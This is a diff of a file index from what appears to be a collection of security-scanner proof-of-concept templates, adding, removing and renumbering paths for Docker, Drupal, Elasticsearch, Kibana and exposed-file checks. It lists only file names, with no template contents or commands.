./poc/docker/kubernetes-pods-api.yaml ./poc/docker/kubernetes-pods.yaml ./poc/docker/kubernetes-resource-report-8547.yaml ./poc/docker/kubernetes-resource-report-8548.yaml ./poc/docker/kubernetes-resource-report-8549.yaml -./poc/docker/kubernetes-unauth(1).yaml +./poc/docker/kubernetes-unauth.yaml ./poc/docker/kubernetes-unauth.yml ./poc/docker/kubernetes-version-8550.yaml -./poc/docker/kubernetes-version-8551.yaml +./poc/docker/kubernetes-version-8552.yaml ./poc/docker/kubernetes-version-8553.yaml -./poc/docker/kubernetes-version.yaml ./poc/docker/kubernetes-web-view.yaml ./poc/docker/kubernetes.yaml -./poc/docker/misconfigured-docker-8900.yaml ./poc/docker/misconfigured-docker-8901.yaml +./poc/docker/misconfigured-docker-8902.yaml ./poc/docker/misconfigured-docker.yaml ./poc/docker/oracle-containers-panel.yaml ./poc/drupal/drupal-7-elfinder.yaml @@ -45007,8 +45297,10 @@ ./poc/drupal/drupal-full-path-disclosure.yaml ./poc/drupal/drupal-install-7105.yaml ./poc/drupal/drupal-install-7106.yaml +./poc/drupal/drupal-install-7107.yaml ./poc/drupal/drupal-install-7108.yaml ./poc/drupal/drupal-install.yaml +./poc/drupal/drupal-jsonapi-user-listing.yaml ./poc/drupal/drupal-login.yaml ./poc/drupal/drupal-sql-injection.yaml ./poc/drupal/drupal-user-enum-ajax-1.yaml @@ -45016,14 +45308,13 @@ ./poc/drupal/drupal-user-enum-ajax-3.yaml ./poc/drupal/drupal-user-enum-ajax-4.yaml ./poc/drupal/drupal-user-enum-ajax-7111.yaml +./poc/drupal/drupal-user-enum-ajax.yaml ./poc/drupal/drupal-user-enum-redirect-1.yaml ./poc/drupal/drupal-user-enum-redirect-2.yaml ./poc/drupal/drupal-user-enum-redirect-3.yaml ./poc/drupal/drupal-user-enum-redirect-4.yaml ./poc/drupal/drupal-user-enum-redirect-7112.yaml ./poc/drupal/drupal-user-enum-redirect-7113.yaml -./poc/drupal/drupal-user-enum-redirect-7114.yaml -./poc/drupal/drupal-user-enum-redirect-7115.yaml ./poc/drupal/drupal-workflow.yaml ./poc/drupal/drupal.yaml ./poc/drupal/drupal_module-acl-arbitrary-php-code-execution.yaml @@ -45373,7 +45664,7 @@ ./poc/elk/elasticsearch-1.yaml ./poc/elk/elasticsearch-2.yaml ./poc/elk/elasticsearch-5-version.yaml -./poc/elk/elasticsearch-7193.yaml +./poc/elk/elasticsearch-7194.yaml ./poc/elk/elasticsearch-7195.yaml ./poc/elk/elasticsearch-7196.yaml ./poc/elk/elasticsearch-7197.yaml @@ -45390,8 +45681,8 @@ ./poc/elk/elasticsearch-log4j.yaml ./poc/elk/elasticsearch-sql-client-detect-7189.yaml ./poc/elk/elasticsearch-sql-client-detect-7190.yaml -./poc/elk/elasticsearch-sql-client-detect-7191.yaml ./poc/elk/elasticsearch-sql-client-detect-7192.yaml +./poc/elk/elasticsearch-sql-client-detect.yaml ./poc/elk/elasticsearch-unauth.yaml ./poc/elk/elasticsearch-unauth.yml ./poc/elk/elasticsearch-unauthorized-access.yaml @@ -45401,14 +45692,16 @@ ./poc/elk/exposed-kibana-1.yaml ./poc/elk/exposed-kibana-2.yaml ./poc/elk/exposed-kibana-7319.yaml +./poc/elk/exposed-kibana-7320.yaml ./poc/elk/exposed-kibana.yaml ./poc/elk/kibana-cve-2018-17246.yml ./poc/elk/kibana-detect-1.yaml ./poc/elk/kibana-detect-2.yaml ./poc/elk/kibana-detect-3.yaml -./poc/elk/kibana-detect-8484.yaml +./poc/elk/kibana-detect-8483.yaml ./poc/elk/kibana-detect.yaml ./poc/elk/kibana-panel-8485.yaml +./poc/elk/kibana-panel-8486.yaml ./poc/elk/kibana-panel-8487.yaml ./poc/elk/kibana-panel.yaml ./poc/elk/kibana-unauth.yaml @@ -45448,13 +45741,12 @@ ./poc/exposed/Wordpress-Wysija_Newsletters_Plugins-DatabaseBackuDisclosure.yaml ./poc/exposed/Wordpress-db-backup-InfoDisclosure.yaml ./poc/exposed/Wordpress-setupconfig-InfoDisclosure.yaml +./poc/exposed/active-admin-exposure-39.yaml ./poc/exposed/active-admin-exposure-40.yaml ./poc/exposed/active-admin-exposure-41.yaml ./poc/exposed/active-admin-exposure-42.yaml -./poc/exposed/active-admin-exposure-43.yaml ./poc/exposed/active-admin-exposure.yaml ./poc/exposed/activemq-path-disclosure.yaml -./poc/exposed/adobe-connect-username-exposure-100.yaml ./poc/exposed/adobe-connect-username-exposure-98.yaml ./poc/exposed/adobe-connect-username-exposure-99.yaml ./poc/exposed/adobe-connect-username-exposure.yaml @@ -45463,7 +45755,6 @@ ./poc/exposed/airflow-configuration-exposure-230.yaml ./poc/exposed/airflow-exposure.yaml ./poc/exposed/allied-telesis-exposure.yaml -./poc/exposed/amazon-docker-config-disclosure-278.yaml ./poc/exposed/amazon-docker-config-disclosure.yaml ./poc/exposed/amazon-sns-topic-disclosure-detect.yaml ./poc/exposed/ambari-exposure-291.yaml @@ -45472,16 +45763,16 @@ ./poc/exposed/ambari-exposure-295.yaml ./poc/exposed/ambari-exposure.yaml ./poc/exposed/ampache-update-exposure.yaml +./poc/exposed/android-debug-database-exposed-312.yaml ./poc/exposed/android-debug-database-exposed-313.yaml ./poc/exposed/android-debug-database-exposed-314.yaml ./poc/exposed/android-debug-database-exposed-315.yaml -./poc/exposed/android-debug-database-exposed-316.yaml ./poc/exposed/android-debug-database-exposed.yaml ./poc/exposed/ansible-config-disclosure-325.yaml -./poc/exposed/ansible-config-disclosure.yaml +./poc/exposed/ansible-config-disclosure-326.yaml ./poc/exposed/ansible-tower-exposure-329.yaml ./poc/exposed/ansible-tower-exposure-330.yaml -./poc/exposed/ansible-tower-exposure-332.yaml +./poc/exposed/ansible-tower-exposure-331.yaml ./poc/exposed/ansible-tower-exposure.yaml ./poc/exposed/apache-access-log-exposure.yaml ./poc/exposed/apache-config-exposure.yaml @@ -45496,15 +45787,18 @@ ./poc/exposed/appspec-yml-disclosure-1.yaml ./poc/exposed/appspec-yml-disclosure-2.yaml ./poc/exposed/appspec-yml-disclosure-527.yaml -./poc/exposed/appspec-yml-disclosure-528.yaml +./poc/exposed/appspec-yml-disclosure-529.yaml +./poc/exposed/appspec-yml-disclosure.yaml ./poc/exposed/aspnetmvc-version-disclosure.yaml ./poc/exposed/atlassian-jira-info-disclosure.yaml ./poc/exposed/atom-sync-exposure.yaml ./poc/exposed/avtech-dvr-exposure-614.yaml ./poc/exposed/avtech-dvr-exposure-615.yaml +./poc/exposed/avtech-dvr-exposure-616.yaml ./poc/exposed/avtech-dvr-exposure-617.yaml ./poc/exposed/avtech-password-disclosure.yaml ./poc/exposed/axiom-digitalocean-key-exposure-665.yaml +./poc/exposed/axiom-digitalocean-key-exposure-666.yaml ./poc/exposed/axiom-digitalocean-key-exposure-667.yaml ./poc/exposed/axiom-digitalocean-key-exposure-668.yaml ./poc/exposed/azure-apim-secret-key-disclosure.yaml @@ -45516,24 +45810,23 @@ ./poc/exposed/beward-ipcamera-disclosure-714.yaml ./poc/exposed/beward-ipcamera-disclosure-715.yaml ./poc/exposed/beward-ipcamera-disclosure-716.yaml -./poc/exposed/beward-ipcamera-disclosure-717.yaml ./poc/exposed/bitly-secret-key-disclosure.yaml ./poc/exposed/bitrix-full-path-disclosure.yaml ./poc/exposed/broadcom-backupsettings-exposure.yaml ./poc/exposed/casbin-get-users-account-password-disclosure.yaml ./poc/exposed/caucho-resin-info-disclosure-1.yaml ./poc/exposed/caucho-resin-info-disclosure-2.yaml -./poc/exposed/caucho-resin-info-disclosure-872.yaml +./poc/exposed/caucho-resin-info-disclosure-871.yaml +./poc/exposed/caucho-resin-info-disclosure.yaml ./poc/exposed/cheatset-disclosure.yaml -./poc/exposed/cisco-meraki-exposure-944.yaml ./poc/exposed/cisco-meraki-exposure-945.yaml +./poc/exposed/cisco-meraki-exposure-946.yaml ./poc/exposed/cisco-meraki-exposure.yaml ./poc/exposed/cisco-smi-exposure-970.yaml ./poc/exposed/cisco-smi-exposure-971.yaml ./poc/exposed/cisco-smi-exposure.yaml ./poc/exposed/clockwork-dashboard-exposure-1012.yaml ./poc/exposed/clockwork-dashboard-exposure-1013.yaml -./poc/exposed/clockwork-dashboard-exposure-1014.yaml ./poc/exposed/clockwork-dashboard-exposure.yaml ./poc/exposed/cobbler-exposed-directories.yaml ./poc/exposed/commax-credentials-disclosure-1159.yaml @@ -45544,20 +45837,21 @@ ./poc/exposed/container-registry-exposure.yaml ./poc/exposed/core-exposure.yaml ./poc/exposed/coremail-config-disclosure-1213.yaml -./poc/exposed/coremail-config-disclosure-1214.yaml ./poc/exposed/coremail-config-disclosure-1215.yaml +./poc/exposed/coremail-config-disclosure-1216.yaml ./poc/exposed/coremail-config-disclosure.yaml ./poc/exposed/couchdb-exposure-1238.yaml ./poc/exposed/couchdb-exposure-1239.yaml ./poc/exposed/couchdb-exposure-1240.yaml ./poc/exposed/couchdb-exposure.yaml +./poc/exposed/credential-exposure-1249.yaml ./poc/exposed/credential-exposure-1250.yaml ./poc/exposed/credential-exposure-file.yaml ./poc/exposed/credential-exposure.yaml ./poc/exposed/credentials-disclosure-1252.yaml ./poc/exposed/credentials-disclosure-1253.yaml ./poc/exposed/credentials-disclosure-1254.yaml -./poc/exposed/credentials-disclosure-1256.yaml +./poc/exposed/credentials-disclosure-1255.yaml ./poc/exposed/credentials-disclosure-all.yaml ./poc/exposed/dahua-passowrd-disclosure.yaml ./poc/exposed/dashboard-exposed.yaml @@ -45567,6 +45861,7 @@ ./poc/exposed/django-debug-exposure-7028.yaml ./poc/exposed/django-debug-exposure-7029.yaml ./poc/exposed/django-debug-exposure-7030.yaml +./poc/exposed/django-debug-exposure-7031.yaml ./poc/exposed/django-debug-exposure-csrf.yaml ./poc/exposed/django-debug-exposure.yaml ./poc/exposed/django-variables-exposed.yaml @@ -45575,6 +45870,7 @@ ./poc/exposed/dockerfile-disclosure.yaml ./poc/exposed/dockerfile-hidden-disclosure-1.yaml ./poc/exposed/dockerfile-hidden-disclosure-2.yaml +./poc/exposed/dockerfile-hidden-disclosure-7061.yaml ./poc/exposed/dockerfile-hidden-disclosure-7062.yaml ./poc/exposed/dockerfile-hidden-disclosure-7063.yaml ./poc/exposed/dockerfile-hidden-disclosure.yaml @@ -45604,6 +45900,7 @@ ./poc/exposed/dwsync-exposure-7137.yaml ./poc/exposed/dwsync-exposure-7138.yaml ./poc/exposed/dwsync-exposure-7139.yaml +./poc/exposed/dwsync-exposure.yaml ./poc/exposed/editor-exposure.yaml ./poc/exposed/editor-file-exposure.yaml ./poc/exposed/ehanced-webpack-sourcemap-disclosure.yaml @@ -45620,9 +45917,12 @@ ./poc/exposed/exposed security questions.yaml ./poc/exposed/exposed-adb-7280.yaml ./poc/exposed/exposed-adb-7281.yaml +./poc/exposed/exposed-adb-7282.yaml +./poc/exposed/exposed-adb.yaml ./poc/exposed/exposed-alps-spring-1.yaml ./poc/exposed/exposed-alps-spring-2.yaml ./poc/exposed/exposed-alps-spring-3.yaml +./poc/exposed/exposed-alps-spring-7283.yaml ./poc/exposed/exposed-alps-spring-7284.yaml ./poc/exposed/exposed-alps-spring-7285.yaml ./poc/exposed/exposed-alps-spring.yaml @@ -45635,18 +45935,17 @@ ./poc/exposed/exposed-backup-files.yaml ./poc/exposed/exposed-bitkeeper-7290.yaml ./poc/exposed/exposed-bitkeeper-7291.yaml -./poc/exposed/exposed-bitkeeper-7292.yaml ./poc/exposed/exposed-bitkeeper.yaml ./poc/exposed/exposed-bzr-7293.yaml ./poc/exposed/exposed-bzr-7295.yaml ./poc/exposed/exposed-bzr.yaml ./poc/exposed/exposed-darcs-7296.yaml -./poc/exposed/exposed-darcs-7297.yaml ./poc/exposed/exposed-darcs.yaml ./poc/exposed/exposed-docker-api-1.yaml ./poc/exposed/exposed-docker-api-2.yaml ./poc/exposed/exposed-docker-api-7299.yaml ./poc/exposed/exposed-docker-api-7300.yaml +./poc/exposed/exposed-dockerd.yaml ./poc/exposed/exposed-elasticsearch.yaml ./poc/exposed/exposed-env-js.yaml ./poc/exposed/exposed-envs.yaml @@ -45667,31 +45966,35 @@ ./poc/exposed/exposed-gitworkflows.yaml ./poc/exposed/exposed-glances-api-7307.yaml ./poc/exposed/exposed-glances-api-7308.yaml -./poc/exposed/exposed-glances-api-7309.yaml ./poc/exposed/exposed-glances-api-7310.yaml ./poc/exposed/exposed-grafana.yaml ./poc/exposed/exposed-graphql.yaml ./poc/exposed/exposed-hg-7311.yaml +./poc/exposed/exposed-hg-7312.yaml ./poc/exposed/exposed-hg.yaml ./poc/exposed/exposed-jenkins.yaml ./poc/exposed/exposed-jira.yaml +./poc/exposed/exposed-jquery-file-upload-7313.yaml ./poc/exposed/exposed-jquery-file-upload-7314.yaml ./poc/exposed/exposed-jquery-file-upload-7315.yaml +./poc/exposed/exposed-jquery-file-upload.yaml ./poc/exposed/exposed-kafdrop-7317.yaml ./poc/exposed/exposed-kafdrop-7318.yaml ./poc/exposed/exposed-kafdrop.yaml ./poc/exposed/exposed-kibana-1.yaml ./poc/exposed/exposed-kibana-2.yaml ./poc/exposed/exposed-kibana-7319.yaml +./poc/exposed/exposed-kibana-7320.yaml ./poc/exposed/exposed-kibana.yaml ./poc/exposed/exposed-merge-metadata-servlet.yaml ./poc/exposed/exposed-mysql-initial-7321.yaml +./poc/exposed/exposed-mysql-initial-7322.yaml ./poc/exposed/exposed-mysql-initial-7323.yaml ./poc/exposed/exposed-mysql-initial-7324.yaml -./poc/exposed/exposed-mysql-initial.yaml ./poc/exposed/exposed-nomad-7325.yaml ./poc/exposed/exposed-nomad-7326.yaml ./poc/exposed/exposed-nomad-7327.yaml +./poc/exposed/exposed-nomad-7328.yaml ./poc/exposed/exposed-nomad-7329.yaml ./poc/exposed/exposed-nomad.yaml ./poc/exposed/exposed-pagespeed-global-admin-7331.yaml @@ -45709,42 +46012,41 @@ ./poc/exposed/exposed-redis.yaml ./poc/exposed/exposed-service-now-7340.yaml ./poc/exposed/exposed-service-now-7341.yaml -./poc/exposed/exposed-service-now-7342.yaml ./poc/exposed/exposed-service-now.yaml ./poc/exposed/exposed-sharepoint-list-7344.yaml -./poc/exposed/exposed-sharepoint-list-7345.yaml ./poc/exposed/exposed-sharepoint-list-7346.yaml ./poc/exposed/exposed-sharepoint-list-7347.yaml ./poc/exposed/exposed-sonarqube.yaml -./poc/exposed/exposed-springboot.yaml ./poc/exposed/exposed-sqlite-manager-1.yaml ./poc/exposed/exposed-sqlite-manager-2.yaml ./poc/exposed/exposed-sqlite-manager-7349.yaml +./poc/exposed/exposed-sqlite-manager-7350.yaml ./poc/exposed/exposed-sqlite-manager.yaml ./poc/exposed/exposed-struts.yaml ./poc/exposed/exposed-svn-7351.yaml ./poc/exposed/exposed-svn-7352.yaml -./poc/exposed/exposed-svn-7353.yaml ./poc/exposed/exposed-svn-7354.yaml ./poc/exposed/exposed-svn-7355.yaml ./poc/exposed/exposed-svn.yaml ./poc/exposed/exposed-swagger-ui.yaml -./poc/exposed/exposed-swagger.yaml ./poc/exposed/exposed-symfony-profiler.yaml ./poc/exposed/exposed-user-info-error-messages (2).yaml ./poc/exposed/exposed-vscode-7356.yaml ./poc/exposed/exposed-vscode-7357.yaml -./poc/exposed/exposed-webalizer-7358.yaml ./poc/exposed/exposed-webalizer-7359.yaml +./poc/exposed/exposed-webalizer-7360.yaml ./poc/exposed/exposed-webalizer.yaml ./poc/exposed/exposed-zookeeper-7361.yaml ./poc/exposed/exposed-zookeeper-7362.yaml ./poc/exposed/exposed-zookeeper-7363.yaml ./poc/exposed/exposed-zookeeper-7364.yaml +./poc/exposed/exposed-zookeeper-7365.yaml +./poc/exposed/exposed-zookeeper.yaml ./poc/exposed/fanruanoa2012-disclosure-1.yaml ./poc/exposed/fanruanoa2012-disclosure-2.yaml ./poc/exposed/fanruanoa2012-disclosure-7389.yaml ./poc/exposed/fanruanoa2012-disclosure-7390.yaml +./poc/exposed/fanruanoa2012-disclosure.yaml ./poc/exposed/fckeditor-exposed.yaml ./poc/exposed/file-manager-exposed.yaml ./poc/exposed/filezilla-exposed.yaml @@ -45755,8 +46057,8 @@ ./poc/exposed/firebase-config-exposure-7487.yaml ./poc/exposed/firebase-config-exposure-7488.yaml ./poc/exposed/firebase-messaging-sw-js-exposure.yaml -./poc/exposed/flink-exposure-7509.yaml ./poc/exposed/flink-exposure-7510.yaml +./poc/exposed/flink-exposure-7511.yaml ./poc/exposed/flink-exposure.yaml ./poc/exposed/ftp-credentials-exposure-7567.yaml ./poc/exposed/ftp-credentials-exposure.yaml @@ -45764,6 +46066,7 @@ ./poc/exposed/git-config-exposure.yaml ./poc/exposed/git-credentials-disclosure-7639.yaml ./poc/exposed/git-credentials-disclosure-7640.yaml +./poc/exposed/git-credentials-disclosure-7641.yaml ./poc/exposed/git-credentials-disclosure-7642.yaml ./poc/exposed/git-exposure.yaml ./poc/exposed/git-metadata-exposure.yaml @@ -45787,8 +46090,8 @@ ./poc/exposed/github-workflows-disclosure-5.yaml ./poc/exposed/github-workflows-disclosure-6.yaml ./poc/exposed/github-workflows-disclosure-7.yaml +./poc/exposed/github-workflows-disclosure-7664.yaml ./poc/exposed/github-workflows-disclosure-7665.yaml -./poc/exposed/github-workflows-disclosure-7666.yaml ./poc/exposed/github-workflows-disclosure-8.yaml ./poc/exposed/github-workflows-disclosure-9.yaml ./poc/exposed/github-workflows-disclosure.yaml @@ -45799,10 +46102,10 @@ ./poc/exposed/glpi-status-ldap-domain-disclosure-3.yaml ./poc/exposed/glpi-telemetry-disclosure-1.yaml ./poc/exposed/glpi-telemetry-disclosure-2.yaml -./poc/exposed/glpi-telemetry-disclosure-7739.yaml ./poc/exposed/glpi-telemetry-disclosure.yaml ./poc/exposed/go-mod-disclosure.yaml ./poc/exposed/go-pprof-exposed.yaml +./poc/exposed/gogs-install-exposure-7755.yaml ./poc/exposed/gogs-install-exposure-7757.yaml ./poc/exposed/gogs-install-exposure-7758.yaml ./poc/exposed/gogs-install-exposure.yaml @@ -45851,25 +46154,25 @@ ./poc/exposed/idea-folder-exposure-2.yaml ./poc/exposed/idea-logs-exposure-1.yaml ./poc/exposed/idea-logs-exposure-2.yaml +./poc/exposed/iis-internal-ip-disclosure-8149.yaml +./poc/exposed/iis-internal-ip-disclosure-8150.yaml ./poc/exposed/iis-internal-ip-disclosure.yaml ./poc/exposed/information-disclosure-in-js-files.yaml ./poc/exposed/internal-ip-disclosure.yaml -./poc/exposed/iotawatt-app-exposure-8186.yaml ./poc/exposed/iotawatt-app-exposure-8187.yaml -./poc/exposed/iotawatt-app-exposure.yaml ./poc/exposed/java-melody-exposed-1.yaml ./poc/exposed/java-melody-exposed-2.yaml ./poc/exposed/java-melody-exposed-8221.yaml +./poc/exposed/java-melody-exposed-8222.yaml ./poc/exposed/java-melody-exposed-8223.yaml ./poc/exposed/java-melody-exposed-8224.yaml -./poc/exposed/java-melody-exposed.yaml ./poc/exposed/jenkins-credentials-disclosure.yml ./poc/exposed/jenkins-exposed.yaml ./poc/exposed/jenkins-home-dir-exposure.yaml ./poc/exposed/jetty-information-disclosure.yaml -./poc/exposed/jfrog-unauth-build-exposed-8299.yaml ./poc/exposed/jfrog-unauth-build-exposed-8300.yaml ./poc/exposed/jfrog-unauth-build-exposed-8301.yaml +./poc/exposed/jfrog-unauth-build-exposed-8302.yaml ./poc/exposed/jfrog-unauth-build-exposed.yaml ./poc/exposed/jiva-admin-exposure.yaml ./poc/exposed/jolokia-heap-info-disclosure-8357.yaml @@ -45901,9 +46204,9 @@ ./poc/exposed/magento-2-exposed-api-1.yaml ./poc/exposed/magento-2-exposed-api-2.yaml ./poc/exposed/magento-2-exposed-api-3.yaml -./poc/exposed/magento-2-exposed-api-8688.yaml +./poc/exposed/magento-2-exposed-api-8687.yaml ./poc/exposed/magento-2-exposed-api-8689.yaml -./poc/exposed/magento-2-exposed-api.yaml +./poc/exposed/magento-config-disclosure.yaml ./poc/exposed/magento-information-disclosure.yaml ./poc/exposed/mapbox-token-disclosure.yaml ./poc/exposed/mobsf-framework-exposure.yaml @@ -45911,7 +46214,6 @@ ./poc/exposed/monitorix-exposure-8930.yaml ./poc/exposed/monitorix-exposure-8931.yaml ./poc/exposed/monitorix-exposure-8932.yaml -./poc/exposed/monitorix-exposure-8933.yaml ./poc/exposed/monitorix-exposure.yaml ./poc/exposed/mysql-my-cnf-disclosure.yaml ./poc/exposed/netgear-router-disclosure.yaml @@ -45919,7 +46221,6 @@ ./poc/exposed/netgear-router-exposure-9029.yaml ./poc/exposed/netgear-router-exposure-9030.yaml ./poc/exposed/netgear-router-exposure-9031.yaml -./poc/exposed/netgear-router-exposure.yaml ./poc/exposed/nexus-repo-config-exposure.yml ./poc/exposed/nexus-repository-exposed-configuration.yaml ./poc/exposed/nginx-conf-exposed.yaml @@ -45928,8 +46229,8 @@ ./poc/exposed/opcache-status-exposure-2.yaml ./poc/exposed/opcache-status-exposure-3.yaml ./poc/exposed/opcache-status-exposure-9254.yaml -./poc/exposed/opcache-status-exposure.yaml -./poc/exposed/openbmcs-secret-disclosure-9260.yaml +./poc/exposed/opcache-status-exposure-9255.yaml +./poc/exposed/openbmcs-secret-disclosure.yaml ./poc/exposed/openfire-credentials-exposure.yaml ./poc/exposed/openssh-sshd-config-disclosure.yaml ./poc/exposed/opentext-livesite-teamsite-database-info-exposure.yaml @@ -45940,19 +46241,20 @@ ./poc/exposed/oracle-ebs-sqllog-disclosure-9367.yaml ./poc/exposed/oracle-ebs-sqllog-disclosure-9369.yaml ./poc/exposed/oracle-ebs-sqllog-disclosure-9370.yaml +./poc/exposed/oracle-ebs-sqllog-disclosure-9371.yaml ./poc/exposed/oracle-ebs-sqllog-disclosure-9372.yaml ./poc/exposed/oracle-ebs-sqllog-disclosure.yaml ./poc/exposed/ovpn-file-disclosure.yaml ./poc/exposed/owncloud-installer-exposure.yaml ./poc/exposed/path-traversal-exposure.yaml +./poc/exposed/pgadmin-exposure-9488.yaml ./poc/exposed/pgadmin-exposure-9489.yaml -./poc/exposed/pgadmin-exposure-9490.yaml ./poc/exposed/pgadmin-exposure-9491.yaml ./poc/exposed/pgadmin-exposure.yaml ./poc/exposed/php-debugbar-exposure.yaml ./poc/exposed/php-user-ini-disclosure-1.yaml ./poc/exposed/php-user-ini-disclosure-2.yaml -./poc/exposed/php-user-ini-disclosure-9559.yaml +./poc/exposed/php-user-ini-disclosure-9560.yaml ./poc/exposed/php-user-ini-disclosure-9561.yaml ./poc/exposed/php-user-ini-disclosure.yaml ./poc/exposed/phpinfo-disclosure-env.yaml @@ -45964,24 +46266,23 @@ ./poc/exposed/pmb-local-file-disclosure-9617.yaml ./poc/exposed/pmb-local-file-disclosure-9618.yaml ./poc/exposed/pmb-local-file-disclosure-9619.yaml -./poc/exposed/pmb-local-file-disclosure-9620.yaml ./poc/exposed/postman-api-key-disclosure.yaml ./poc/exposed/private-key-exposure-9654.yaml ./poc/exposed/prometheus-exposed-panel-9679.yaml ./poc/exposed/prometheus-exposed-panel-9680.yaml ./poc/exposed/prometheus-exposed-panel-9681.yaml +./poc/exposed/prometheus-exposed-panel-9682.yaml ./poc/exposed/prometheus-exposed-panel-9684.yaml ./poc/exposed/prometheus-exposed-panel.yaml ./poc/exposed/prometheus-pushgateway-exposed-panel.yaml ./poc/exposed/proton-recovery-phrase-disclosure.yaml ./poc/exposed/putty-private-key-disclosure-9729.yaml ./poc/exposed/putty-private-key-disclosure-9730.yaml -./poc/exposed/putty-private-key-disclosure-9732.yaml +./poc/exposed/putty-private-key-disclosure-9731.yaml ./poc/exposed/putty-private-key-disclosure.yaml ./poc/exposed/pyproject-disclosure-9735.yaml +./poc/exposed/pyproject-disclosure-9736.yaml ./poc/exposed/pyproject-disclosure-9737.yaml -./poc/exposed/pyproject-disclosure-9738.yaml -./poc/exposed/pyproject-disclosure.yaml ./poc/exposed/qianxin-tianqing-info-disclosure.yaml ./poc/exposed/qihang-media-disclosure-9762.yaml ./poc/exposed/qihang-media-disclosure-9763.yaml @@ -45992,7 +46293,7 @@ ./poc/exposed/rabbitmq-config-exposure.yml ./poc/exposed/rails-routes-exposed.yaml ./poc/exposed/rails-secret-token-disclosure-9808.yaml -./poc/exposed/rails-secret-token-disclosure-9809.yaml +./poc/exposed/rails-secret-token-disclosure-9810.yaml ./poc/exposed/rails-secret-token-disclosure.yaml ./poc/exposed/razorpay-clientid-disclosure.yaml ./poc/exposed/redis-commander-exposure-9851.yaml @@ -46010,7 +46311,7 @@ ./poc/exposed/ruby-on-rails-secret-token-disclosure.yaml ./poc/exposed/ruijie-information-disclosure-9930.yaml ./poc/exposed/ruijie-information-disclosure-9931.yaml -./poc/exposed/ruijie-information-disclosure.yaml +./poc/exposed/ruijie-information-disclosure-9932.yaml ./poc/exposed/ruijie-nbr1300g-exposure-9935.yaml ./poc/exposed/ruijie-nbr1300g-exposure-9937.yaml ./poc/exposed/ruijie-nbr1300g-exposure.yaml @@ -46023,7 +46324,7 @@ ./poc/exposed/seeyon-a6-createmysql-disclosure.yaml ./poc/exposed/seeyon-a8-info-disclosure.yaml ./poc/exposed/seeyon-oa-session-information-disclosure.yaml -./poc/exposed/selenium-exposure-10137.yaml +./poc/exposed/selenium-exposure-10138.yaml ./poc/exposed/selenium-exposure.yaml ./poc/exposed/selenoid-ui-exposure-10139.yaml ./poc/exposed/selenoid-ui-exposure.yaml @@ -46042,7 +46343,6 @@ ./poc/exposed/sensitive-storage-exposure-4.yaml ./poc/exposed/sensitive-storage-exposure-5.yaml ./poc/exposed/sensitive-storage-exposure-6.yaml -./poc/exposed/sensitive-storage-exposure.yaml ./poc/exposed/sensitives.yaml ./poc/exposed/server-config-exposure.yaml ./poc/exposed/service-now-exposed.yaml @@ -46059,7 +46359,6 @@ ./poc/exposed/smf-path-disclosure.yaml ./poc/exposed/snyk-ignore-file-disclosure-10346.yaml ./poc/exposed/snyk-ignore-file-disclosure-10347.yaml -./poc/exposed/snyk-ignore-file-disclosure-10348.yaml ./poc/exposed/snyk-ignore-file-disclosure-10349.yaml ./poc/exposed/solr-exposure-10364.yaml ./poc/exposed/solr-exposure-10365.yaml @@ -46077,6 +46376,7 @@ ./poc/exposed/system-information-exposure.yaml ./poc/exposed/system-properties-exposure.yaml ./poc/exposed/template_klr300n-exposure.yaml +./poc/exposed/thanos-prometheus-exposure.yaml ./poc/exposed/thinkphp-509-information-disclosure-10752.yaml ./poc/exposed/thinkphp-509-information-disclosure-10753.yaml ./poc/exposed/thinkphp-509-information-disclosure-10754.yaml @@ -46094,22 +46394,24 @@ ./poc/exposed/tongda-session-disclosure.yaml ./poc/exposed/tongda-user-session-disclosure.yml ./poc/exposed/tongda-v11-session-disclosure-login-bypass.yaml +./poc/exposed/travis-ci-disclosure.yaml ./poc/exposed/truffle-config-exposure.yaml ./poc/exposed/tugboat-config-exposure-10841.yaml -./poc/exposed/tugboat-config-exposure-10842.yaml +./poc/exposed/tugboat-config-exposure-10843.yaml ./poc/exposed/tugboat-config-exposure-10844.yaml -./poc/exposed/tugboat-config-exposure.yaml ./poc/exposed/typea-ftc-disclosure-76c6b84ccd9f6bd60eada03675ff7bce.yaml ./poc/exposed/typea-ftc-disclosure-b7c5fef4e19b4435bd19c7ddc442fdea.yaml ./poc/exposed/typea-ftc-disclosure.yaml ./poc/exposed/typo3-sensitive-files.yaml +./poc/exposed/unigui-server-monitor-exposure.yaml ./poc/exposed/v2boardv161-exposure.yaml ./poc/exposed/vagrantfile-exposure.yaml ./poc/exposed/venustech-4a-getMaster-disclosure.yaml ./poc/exposed/vpc-endpoint-exposed.yaml ./poc/exposed/wallet-recovery-phrase-disclosure.yml -./poc/exposed/watchguard-credentials-disclosure-11106.yaml +./poc/exposed/watchguard-credentials-disclosure-11105.yaml ./poc/exposed/watchguard-credentials-disclosure-11107.yaml +./poc/exposed/watchguard-credentials-disclosure.yaml ./poc/exposed/weaver_e_cology9_Information_disclosure.yaml ./poc/exposed/webmin-config-exposure.yml ./poc/exposed/wordpress-config-disclosure.yaml @@ -46119,7 +46421,6 @@ ./poc/exposed/wordpress-wpcourses-info-disclosure-11368.yaml ./poc/exposed/wordpress-wpcourses-info-disclosure-11369.yaml ./poc/exposed/wordpress-wpcourses-info-disclosure-11370.yaml -./poc/exposed/wordpress-wpcourses-info-disclosure-11371.yaml ./poc/exposed/wordpress-wpcourses-info-disclosure.yaml ./poc/exposed/wp-affiliate-disclosure-047309c077ef8436ac32af01d6e52b55.yaml ./poc/exposed/wp-affiliate-disclosure-10a22924ce2a012a99f4110178fc4e04.yaml @@ -46132,14 +46433,13 @@ ./poc/exposed/wp-full-path-disclosure-11456.yaml ./poc/exposed/wp-full-path-disclosure-11457.yaml ./poc/exposed/wp-full-path-disclosure.yaml -./poc/exposed/wp-mailchimp-log-exposure-11492.yaml ./poc/exposed/wp-mailchimp-log-exposure-11493.yaml -./poc/exposed/wp-mailchimp-log-exposure.yaml +./poc/exposed/wp-mailchimp-log-exposure-11494.yaml ./poc/exposed/wpeprivate-config-disclosure.yaml ./poc/exposed/wpsensitiveinfo.yaml ./poc/exposed/x5engine-full-path-disclosure.yaml -./poc/exposed/yarn-manager-exposure-11731.yaml ./poc/exposed/yarn-manager-exposure-11732.yaml +./poc/exposed/yarn-manager-exposure-11733.yaml ./poc/exposed/yarn-manager-exposure.yaml ./poc/exposed/yonyou-nc-wsncapplet-disclosure.yaml ./poc/exposed/yyoa-a6-userinfo-disclosure.yaml @@ -46202,11 +46502,10 @@ ./poc/favicon/favicon-by-realfavicongenerator-e94e235c33e1a3c3c8b84ec6688a2709.yaml ./poc/favicon/favicon-by-realfavicongenerator.yaml ./poc/favicon/favicon-detect.yaml 